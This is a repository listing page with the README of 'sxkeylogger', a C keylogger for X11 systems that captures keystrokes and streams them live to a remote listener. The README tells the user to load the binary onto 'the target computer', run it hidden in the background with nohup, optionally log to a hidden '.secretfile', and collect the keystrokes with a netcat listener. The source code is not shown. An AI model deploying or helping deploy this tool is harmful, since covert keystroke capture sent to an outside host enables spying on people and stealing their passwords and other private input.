https://github.com/michaeldim02/sxkeylogger
Simple keylogger for X11
https://github.com/michaeldim02/sxkeylogger
Last synced: about 1 year ago
JSON representation
Simple keylogger for X11
- Host: GitHub
- URL: https://github.com/michaeldim02/sxkeylogger
- Owner: MichaelDim02
- License: gpl-3.0
- Created: 2023-05-28T15:53:47.000Z (about 3 years ago)
- Default Branch: master
- Last Pushed: 2023-05-28T16:23:25.000Z (about 3 years ago)
- Last Synced: 2025-02-12T06:57:24.976Z (over 1 year ago)
- Language: C
- Size: 17.6 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# sxkeylogger
sXkeylogger is a simple network keylogger for X11 systems written in C that captures local keystrokes and sends them to a listener at a specified address & port & can also store them in a text file. This is a personal project.
## Usage
Edit the macros at the top of the source code file to configure network details. Compile with `make`.
After loading the binary to the target computer, run in the background with
```
nohup ./a.out >/dev/null 2>&1 &
```
You can save stdout to a text file with
```
nohup ./a.out > .secretfile 2>&1 &
```
### Listener
The keylogger will send logged information live to address & port specified in the source file before compilation. A listener device (such as a computer, an android phone with termux or a raspberry pi) will have to be listening on the specified port. To start a simple listener, you can use netcat like so:
```
nc -lkp $PORT
```
## Features
* Sends keystrokes live to a listener
* Stores keystroke on a text file
* Resource efficient
* Few dependencies (only X11 libary)
* Easy to build & run
## Limitations (TODO)
* Limited keystroke capturing
* Only works on machines running X11
* Doesn't specify active window